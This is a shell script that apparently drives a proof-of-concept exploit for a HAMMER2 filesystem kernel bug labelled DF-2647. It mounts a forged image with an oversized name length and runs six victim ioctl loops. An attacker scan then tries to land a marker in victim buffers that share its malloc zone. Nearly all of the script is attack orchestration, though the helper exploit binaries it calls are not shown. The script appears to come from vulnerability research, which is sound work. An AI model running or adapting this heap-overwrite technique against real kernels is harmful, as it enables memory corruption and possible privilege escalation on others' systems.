#!/bin/sh
# DF-2647 stage: surgical cross-object overwrite demo (non-INVARIANTS kernel).
# Runs on the mounted (forged, name_len=0x300) image: 6 concurrent victim
# loops (PFS_LOOKUP, 320B M_IOCTLOPS buffers = same 512-byte malloc zone as
# the attacker's PFS_GET buffer) while the attacker re-runs the PFS_GET scan.
# Success: /tmp/victim_hit.* appears -> marker "DF2647!!" landed in a parked
# victim ioctl buffer and was copied back to userland.
#
# usage: run_surgical.sh <image>   (root, guest)
set -e
IMG=${1:-/root/poc/h2_2647_0300.img}
cd /root/poc
vnconfig -u vn0 2>/dev/null || true
umount /mnt/h2 2>/dev/null || true
vnconfig -c vn0 $IMG
mount -t hammer2 /dev/vn0@testvol /mnt/h2
rm -f /tmp/victim_hit.*
i=0
while [ $i -lt 6 ]; do
	/root/poc/pfslookup_victim /mnt/h2 45 &
	i=$((i+1))
done
sleep 2
/root/poc/pfsget_scan /mnt/h2 40 3000 > /tmp/scan.log 2>&1
tail -3 /tmp/scan.log
wait
ls -l /tmp/victim_hit.* 2>/dev/null || echo "no victim hit files"
umount /mnt/h2
vnconfig -u vn0
echo SURGICAL_DONE